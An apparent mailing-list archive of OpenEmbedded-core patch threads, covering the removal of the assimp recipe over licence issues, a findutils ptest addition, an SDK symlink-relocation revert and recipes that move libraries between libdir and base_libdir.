- assimpTargets-release.cmake.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/assimpTargets-release.cmake.in b/assimpTargets-release.cmake.in
-index cd2fac7e0..52edc7990 100644
 a/assimpTargets-release.cmake.in
-+++ b/assimpTargets-release.cmake.in
-@@ -72,8 +72,8 @@ else()
-   IMPORTED_SONAME_RELEASE "${sharedLibraryName}"
-   IMPORTED_LOCATION_RELEASE 
"@CMAKE_INSTALL_FULL_LIBDIR@/${sharedLibraryName}"
- )
--list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
--list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp 
"@CMAKE_INSTALL_FULL_LIBDIR@/${sharedLibraryName}" )
-+#list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-+#list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp 
"@CMAKE_INSTALL_FULL_LIBDIR@/${sharedLibraryName}" )
-   else()
- set(staticLibraryName 
"libassimp${ASSIMP_LIBRARY_SUFFIX}@CMAKE_STATIC_LIBRARY_SUFFIX@")
- set_target_properties(assimp::assimp PROPERTIES
---
-2.17.1
diff --git 
a/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
 
b/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
deleted file mode 100644
index 87a1658710..00
--- 
a/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
+++ /dev/null
@@ -1,1664 +0,0 @@
-From 7fc220b2350d78942fb3935cad0b1564418ebe8f Mon Sep 17 00:00:00 2001
-From: Kim Kulling 
-Date: Tue, 19 Nov 2019 20:30:40 

Re: [OE-core] minor curiosity related to libdir vs base_libdir and shared libs

[Robert P. J. Day]

On Tue, 7 Sep 2021, Andre McCurdy wrote:

... snip ...

> The original commit from 2013 gives a few more clues in this case:
>
>   
> https://git.yoctoproject.org/cgit/cgit.cgi/meta-selinux/commit/?id=587fdba43a7747992995029a88d3051ef0efe7f6
>
> It's not explicit which QA test was being triggered but presumably
> it was "unsafe-references-in-binaries", which has since been dropped
> from oe-core:
>
>   
> https://git.openembedded.org/openembedded-core/commit/?id=a6af5bbf3dad6f0951c67a0aae13ef86a8906893
>
> So... it looks like these examples of moving libs to base_libdir are
> obsolete and can be dropped.

  just for fun, there is the occasional recipe that relocates stuff in
the *other* direction, like this from e2fsprogs_1.46.4.bb:

  do_install () {
oe_runmake 'DESTDIR=${D}' install
oe_runmake 'DESTDIR=${D}' install-libs
# We use blkid from util-linux now so remove from here
rm -f ${D}${base_libdir}/libblkid*
rm -rf ${D}${includedir}/blkid
rm -f ${D}${base_libdir}/pkgconfig/blkid.pc
rm -f ${D}${base_sbindir}/blkid
rm -f ${D}${base_sbindir}/fsck
rm -f ${D}${base_sbindir}/findfs

# e2initrd_helper and the pkgconfig files belong in libdir
if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
install -d ${D}${libdir}
mv ${D}${base_libdir}/e2initrd_helper ${D}${libdir}
mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
fi
... snip ...

and libusb1_1.0.24.bb:

  do_install:append() {
install -d ${D}${libdir}
if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
fi
  }

anyway, i'll let others decide if that's worth tidying up.

rday

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155750): 
https://lists.openembedded.org/g/openembedded-core/message/155750
Mute This Topic: https://lists.openembedded.org/mt/85398874/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 0/1] assimp: Remove it

[Robert Yang]

The following changes since commit e3a7eaf9fe1420b2525e14f0c0f2936e7818b8a3:

  build-appliance-image: Update to hardknott head revision (2021-09-01 16:28:21 
+0100)

are available in the Git repository at:

  git://git.openembedded.org/openembedded-core-contrib rbt/assimp-hardknott
  
http://cgit.openembedded.org/openembedded-core-contrib/log/?h=rbt/assimp-hardknott

Robert Yang (1):
  assimp: Remove it

 meta/conf/distro/include/maintainers.inc  |1 -
 ...MP_LIB_INSTALL_DIR-to-search-library.patch |   68 -
 ...hub.com-assimp-assimp-issues-2733-up.patch | 1664 -
 meta/recipes-graphics/vulkan/assimp_5.0.1.bb  |   23 -
 4 files changed, 1756 deletions(-)
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
 delete mode 100644 meta/recipes-graphics/vulkan/assimp_5.0.1.bb

-- 
2.17.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155751): 
https://lists.openembedded.org/g/openembedded-core/message/155751
Mute This Topic: https://lists.openembedded.org/mt/85431141/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 1/1] assimp: Remove it

[Robert Yang]

Remove it since it has license issues:

* scripts/StepImporter/schema_ifc2x3.exp
Copyright by: International Alliance for Interoperability, 1996-2005 All rights
reserved. No part of this documentation may be reproduced, stored in a
retrieval system, or transmitted in any form or by any means, without the prior
written permission of the owner

* test/models-nonbsd/X/dwarf-Read-Me.txt
RESTRICTIONS: This model pack is available for use in freeware, shareware,
commercial games/software with the following restrictions:- **You may not
sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent. Psi
http://www.psionic3d.co.uk

* test/models-nonbsd/B3D/turtle.source.txt
Copyright 2004, Psionic Design e-mail: psio...@blueyonder.co.uk Used with
permission. RESTRICTIONS: This model pack is available for use in freeware,
shareware, commercial games/software with the following restrictions:- **You
may not sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent.

And no recipes depend on it, so remove it.

Signed-off-by: Robert Yang 
---
 meta/conf/distro/include/maintainers.inc  |1 -
 ...MP_LIB_INSTALL_DIR-to-search-library.patch |   68 -
 ...hub.com-assimp-assimp-issues-2733-up.patch | 1664 -
 meta/recipes-graphics/vulkan/assimp_5.0.1.bb  |   23 -
 4 files changed, 1756 deletions(-)
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
 delete mode 100644 meta/recipes-graphics/vulkan/assimp_5.0.1.bb

diff --git a/meta/conf/distro/include/maintainers.inc 
b/meta/conf/distro/include/maintainers.inc
index 6276331857..e6b8180731 100644
--- a/meta/conf/distro/include/maintainers.inc
+++ b/meta/conf/distro/include/maintainers.inc
@@ -46,7 +46,6 @@ RECIPE_MAINTAINER_pn-apt = "Aníbal Limón 
"
 RECIPE_MAINTAINER_pn-argp-standalone = "Khem Raj "
 RECIPE_MAINTAINER_pn-asciidoc = "Yi Zhao "
 RECIPE_MAINTAINER_pn-aspell = "Anuj Mittal "
-RECIPE_MAINTAINER_pn-assimp = "Anuj Mittal "
 RECIPE_MAINTAINER_pn-at = "Chen Qi "
 RECIPE_MAINTAINER_pn-at-spi2-atk = "Tim Orling 
"
 RECIPE_MAINTAINER_pn-at-spi2-core = "Tim Orling 
"
diff --git 
a/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
 
b/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
deleted file mode 100644
index 34c5bfa857..00
--- 
a/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 58f576d6f240b08957a402960cdf06c74201ac7b Mon Sep 17 00:00:00 2001
-From: Hongxu Jia 
-Date: Thu, 12 Dec 2019 22:16:15 -0800
-Subject: [PATCH] Use ASSIMP_LIB_INSTALL_DIR to search library
-
-Use ASSIMP_LIB_INSTALL_DIR rather than hardcoded /lib to search library
-
-Upstream-Status: Inappropriate [oe specific]
-
-Signed-off-by: Hongxu Jia 
-

- assimpTargets-release.cmake.in | 16 
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/assimpTargets-release.cmake.in b/assimpTargets-release.cmake.in
-index f3db8f1..b8a066a 100644
 a/assimpTargets-release.cmake.in
-+++ b/assimpTargets-release.cmake.in
-@@ -42,11 +42,11 @@ if(MSVC)
- # Import target "assimp::assimp" for configuration "Release"
- set_property(TARGET assimp::assimp APPEND PROPERTY 
IMPORTED_CONFIGURATIONS RELEASE)
- set_target_properties(assimp::assimp PROPERTIES
--  IMPORTED_IMPLIB_RELEASE "${_IMPORT_PREFIX}/lib/${importLibraryName}"
-+  IMPORTED_IMPLIB_RELEASE 
"${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${importLibraryName}"
-   IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/bin/${sharedLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
--list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp 
"${_IMPORT_PREFIX}/lib/${importLibraryName}")
-+list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp 
"${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${importLibraryName}")
- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp 
"${_IMPORT_PREFIX}/bin/${sharedLibraryName}" )
-   else()
- set(staticLibraryName 
"assimp${ASSIMP_LIBRARY_SUFFIX}@CMAKE_STATIC_LIBRARY_SUFFIX@")
-@@ -54,10 +54,10 @@ if(MSVC)
- # Import target "assimp::assimp" for configuration "Release"
- set_property(TARGET assimp::assimp APPEND PROPERTY 
IMPORTED_CONFIGURATIONS RELEASE)
- set_target_properties(assimp::assimp PROPERTIES
--  IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/lib/${staticLibraryName}"
-+  IMPORTED_LOCATION_RELEASE 
"${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}"
- )
- list(APPEND 

Re: [OE-core] [PATCH 1/1] assimp: Remove it

[Ross Burton]

On Tue, 7 Sept 2021 at 13:04, Randy MacLeod  wrote:
> I'll look at the sections that you have pointed out later today.

Debian is always worth looking at when there's license issues.

https://salsa.debian.org/debian/assimp/-/blob/master/debian/README.source

Specifically:

https://salsa.debian.org/debian/assimp/-/blob/master/debian/README.source#L81

They strip non-free components from the tarball before importing into
their git repository.  We can delete the same files during the build
so they don't get redistributed.

Ross

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155757): 
https://lists.openembedded.org/g/openembedded-core/message/155757
Mute This Topic: https://lists.openembedded.org/mt/85431030/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [PATCH] findutils: add ptest

[Oleh Matiusha via lists.openembedded.org]

Signed-off-by: Oleh Matiusha 
---
 meta/recipes-extended/findutils/findutils.inc |  6 +-
 .../findutils/findutils/run-ptest | 57 +++
 .../findutils/findutils_4.8.0.bb  | 11 
 3 files changed, 72 insertions(+), 2 deletions(-)
 create mode 100644 meta/recipes-extended/findutils/findutils/run-ptest

diff --git a/meta/recipes-extended/findutils/findutils.inc 
b/meta/recipes-extended/findutils/findutils.inc
index ea8a1b7afe..ddcc05750b 100644
--- a/meta/recipes-extended/findutils/findutils.inc
+++ b/meta/recipes-extended/findutils/findutils.inc
@@ -6,9 +6,11 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/;
 BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils;
 SECTION = "console/utils"
 
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
+  file://run-ptest \
+  "
 
-inherit autotools gettext texinfo update-alternatives
+inherit autotools gettext texinfo update-alternatives ptest
 
 ALTERNATIVE:${PN} = "find xargs"
 ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest 
b/meta/recipes-extended/findutils/findutils/run-ptest
new file mode 100644
index 00..ec71583c51
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/run-ptest
@@ -0,0 +1,57 @@
+#!/bin/bash
+
+# create temporary symlink to workaround missing oldfind
+ln -s /usr/bin/find /tmp/oldfind
+# make oldfind visible
+export PATH="/tmp:${PATH}"
+
+export built_programs="find xargs locate updatedb"
+
+# this gets substituted by sed during build
+export VERSION="__run_ptest_version__"
+
+# define missing functions for tests/init.sh
+fu_path_prepend_ () {
+   path_prepend_ $@
+}
+
+print_ver_ () {
+   :
+}
+
+skip_if_root_ () {
+   [ $(id -u) = 0 ] && exit 77;
+}
+
+require_root_ () {
+   [ $(id -u) = 0 ] || exit 77;
+}
+
+expensive_ () {
+   :
+}
+
+export -f fu_path_prepend_
+export -f print_ver_
+export -f skip_if_root_
+export -f require_root_
+export -f expensive_
+
+
+for f in tests/*/*.sh; do
+   bash $f ;
+   case $? in
+   0 )
+   echo -n "PASS";;
+   77 )
+   echo -n "SKIP";;
+   * )
+   echo -n "FAIL";;
+   esac
+   echo ": $f"
+done
+
+#remove symlink
+rm -f /tmp/oldfind
+
+echo
diff --git a/meta/recipes-extended/findutils/findutils_4.8.0.bb 
b/meta/recipes-extended/findutils/findutils_4.8.0.bb
index 675e53c0da..356fb05be6 100644
--- a/meta/recipes-extended/findutils/findutils_4.8.0.bb
+++ b/meta/recipes-extended/findutils/findutils_4.8.0.bb
@@ -12,3 +12,14 @@ SRC_URI[sha256sum] = 
"57127b7e97d91282c6ace556378d5455a9509898297e46e10443016ea1
 CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
 
 EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
+
+RDEPENDS:${PN}-ptest += "bash sed grep"
+
+do_install_ptest:class-target() {
+   mkdir -p ${D}${PTEST_PATH}/tests/
+   cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+
+   # substitute value in run-ptest with actual version
+   sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
+
+}
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155753): 
https://lists.openembedded.org/g/openembedded-core/message/155753
Mute This Topic: https://lists.openembedded.org/mt/85431986/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] [hardknott][PATCH] Revert "sdk: fix relocate symlink failed"

[Andrey Zhizhikin]

Hello Hongxu,

On Tue, Sep 7, 2021 at 8:26 AM hongxu  wrote:
>
> The commit [7e71acd265 sdk: fix relocate symlink failed] is used to fix
> regression issue caused by commit [bc4ee54535 sdk: Decouple default install
> path from built in path], but hardknott does not contain commit bc4ee54535,
> so commit 7e71acd265 should not be in hardknott neither, otherwise it caused
> other regression issue.
>
> This reverts commit 7e71acd265637d54d5bf149ea36cefa581f60992.

This has been already discussed for [dunfell], see [1].

The actual proposal was to take the second commit rather than
reverting the first one, which Steve did (see [2]).

Can the same approach be applied to [hardknott]?

>
> Signed-off-by: Hongxu Jia 
> ---
>  meta/files/toolchain-shar-relocate.sh | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/meta/files/toolchain-shar-relocate.sh 
> b/meta/files/toolchain-shar-relocate.sh
> index ba873373e2..5433741296 100644
> --- a/meta/files/toolchain-shar-relocate.sh
> +++ b/meta/files/toolchain-shar-relocate.sh
> @@ -72,7 +72,7 @@ fi
>
>  # change all symlinks pointing to @SDKPATH@
>  for l in $($SUDO_EXEC find $native_sysroot -type l); do
> -   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
> "s:$SDK_BUILD_PATH:$target_sdk_dir:") $l
> +   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
> "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:") $l
> if [ $? -ne 0 ]; then
> echo "Failed to setup symlinks. Relocate script failed. 
> Abort!"
> exit 1
> --
> 2.27.0
>
>
> 
>

Link: [1]: 
https://lists.openembedded.org/g/openembedded-core/topic/85311771#155603
Link: [2]: https://lists.openembedded.org/g/openembedded-core/message/155670

--
Regards,
Andrey.

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155754): 
https://lists.openembedded.org/g/openembedded-core/message/155754
Mute This Topic: https://lists.openembedded.org/mt/85429805/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] [hardknott][PATCH] Revert "sdk: fix relocate symlink failed"

[Andrey Zhizhikin]

On Tue, Sep 7, 2021 at 12:40 PM Andrey Zhizhikin via
lists.openembedded.org 
wrote:
>
> Hello Hongxu,
>
> On Tue, Sep 7, 2021 at 8:26 AM hongxu  wrote:
> >
> > The commit [7e71acd265 sdk: fix relocate symlink failed] is used to fix
> > regression issue caused by commit [bc4ee54535 sdk: Decouple default install
> > path from built in path], but hardknott does not contain commit bc4ee54535,
> > so commit 7e71acd265 should not be in hardknott neither, otherwise it caused
> > other regression issue.
> >
> > This reverts commit 7e71acd265637d54d5bf149ea36cefa581f60992.
>
> This has been already discussed for [dunfell], see [1].
>
> The actual proposal was to take the second commit rather than
> reverting the first one, which Steve did (see [2]).
>
> Can the same approach be applied to [hardknott]?

Ah, just saw Anuj took it for [hardknott]
(https://lists.openembedded.org/g/openembedded-core/message/155735).
:)


>
> >
> > Signed-off-by: Hongxu Jia 
> > ---
> >  meta/files/toolchain-shar-relocate.sh | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> >
> > diff --git a/meta/files/toolchain-shar-relocate.sh 
> > b/meta/files/toolchain-shar-relocate.sh
> > index ba873373e2..5433741296 100644
> > --- a/meta/files/toolchain-shar-relocate.sh
> > +++ b/meta/files/toolchain-shar-relocate.sh
> > @@ -72,7 +72,7 @@ fi
> >
> >  # change all symlinks pointing to @SDKPATH@
> >  for l in $($SUDO_EXEC find $native_sysroot -type l); do
> > -   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
> > "s:$SDK_BUILD_PATH:$target_sdk_dir:") $l
> > +   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
> > "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:") $l
> > if [ $? -ne 0 ]; then
> > echo "Failed to setup symlinks. Relocate script failed. 
> > Abort!"
> > exit 1
> > --
> > 2.27.0
> >
> >
> >
> >
>
> Link: [1]: 
> https://lists.openembedded.org/g/openembedded-core/topic/85311771#155603
> Link: [2]: https://lists.openembedded.org/g/openembedded-core/message/155670
>
> --
> Regards,
> Andrey.
>
> 
>


--
Regards,
Andrey.

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155755): 
https://lists.openembedded.org/g/openembedded-core/message/155755
Mute This Topic: https://lists.openembedded.org/mt/85429805/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] [PATCH 1/1] assimp: Remove it

[Randy MacLeod]

On 2021-09-07 5:17 a.m., Robert Yang wrote:

Remove it since it has license issues:

* scripts/StepImporter/schema_ifc2x3.exp
Copyright by: International Alliance for Interoperability, 1996-2005 All rights
reserved. No part of this documentation may be reproduced, stored in a
retrieval system, or transmitted in any form or by any means, without the prior
written permission of the owner

* test/models-nonbsd/X/dwarf-Read-Me.txt
RESTRICTIONS: This model pack is available for use in freeware, shareware,
commercial games/software with the following restrictions:- **You may not
sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent. Psi
http://www.psionic3d.co.uk

* test/models-nonbsd/B3D/turtle.source.txt
Copyright 2004, Psionic Design e-mail: psio...@blueyonder.co.uk Used with
permission. RESTRICTIONS: This model pack is available for use in freeware,
shareware, commercial games/software with the following restrictions:- **You
may not sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent.

And no recipes depend on it, so remove it.


In master, it seems that vulkan* depends on assimp:

https://layers.openembedded.org/layerindex/branch/master/recipes/?q=depends%3Aassimp

and lots of recipes in meta-qt5 and meta-ros* so removing it here
would just push the problem around.

I'll look at the sections that you have pointed out later today.

../Randy



Signed-off-by: Robert Yang 
---
  meta/conf/distro/include/maintainers.inc  |1 -
  ...hared-lib-from-_IMPORT_CHECK_TARGETS.patch |   32 -
  ...hub.com-assimp-assimp-issues-2733-up.patch | 1664 -
  .../use-GNUInstallDirs-where-possible.patch   |  257 ---
  meta/recipes-graphics/vulkan/assimp_5.0.1.bb  |   26 -
  5 files changed, 1980 deletions(-)
  delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
  delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
  delete mode 100644 
meta/recipes-graphics/vulkan/assimp/use-GNUInstallDirs-where-possible.patch
  delete mode 100644 meta/recipes-graphics/vulkan/assimp_5.0.1.bb

diff --git a/meta/conf/distro/include/maintainers.inc 
b/meta/conf/distro/include/maintainers.inc
index 0e8185f4e3..e560ba39dd 100644
--- a/meta/conf/distro/include/maintainers.inc
+++ b/meta/conf/distro/include/maintainers.inc
@@ -46,7 +46,6 @@ RECIPE_MAINTAINER:pn-apt = "Aníbal Limón 
"
  RECIPE_MAINTAINER:pn-argp-standalone = "Khem Raj "
  RECIPE_MAINTAINER:pn-asciidoc = "Yi Zhao "
  RECIPE_MAINTAINER:pn-aspell = "Anuj Mittal "
-RECIPE_MAINTAINER:pn-assimp = "Anuj Mittal "
  RECIPE_MAINTAINER:pn-at = "Chen Qi "
  RECIPE_MAINTAINER:pn-at-spi2-atk = "Tim Orling "
  RECIPE_MAINTAINER:pn-at-spi2-core = "Tim Orling "
diff --git 
a/meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
 
b/meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
deleted file mode 100644
index 1078148d6b..00
--- 
a/meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From: Ranjitsinh Rathod 
-Date: Fri, 13 Aug 2021 16:42:48 +0530
-Subject: [PATCH] assimp: remove shared lib from _IMPORT_CHECK_TARGETS
-
-In the target assimp::assimp shared library verification removed
-as it is giving configuration error when used by 3rd part component to
-configure itself using assimp::assimp target
-
-Upstream-Status: Inappropriate [oe specific]
-
-Signed-off-by: Ranjitsinh Rathod 

- assimpTargets-release.cmake.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/assimpTargets-release.cmake.in b/assimpTargets-release.cmake.in
-index cd2fac7e0..52edc7990 100644
 a/assimpTargets-release.cmake.in
-+++ b/assimpTargets-release.cmake.in
-@@ -72,8 +72,8 @@ else()
-   IMPORTED_SONAME_RELEASE "${sharedLibraryName}"
-   IMPORTED_LOCATION_RELEASE 
"@CMAKE_INSTALL_FULL_LIBDIR@/${sharedLibraryName}"
- )
--list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
--list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp 
"@CMAKE_INSTALL_FULL_LIBDIR@/${sharedLibraryName}" )
-+#list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-+#list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp 
"@CMAKE_INSTALL_FULL_LIBDIR@/${sharedLibraryName}" )
-   else()
- set(staticLibraryName 
"libassimp${ASSIMP_LIBRARY_SUFFIX}@CMAKE_STATIC_LIBRARY_SUFFIX@")
- set_target_properties(assimp::assimp PROPERTIES
---
-2.17.1
diff --git 
a/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch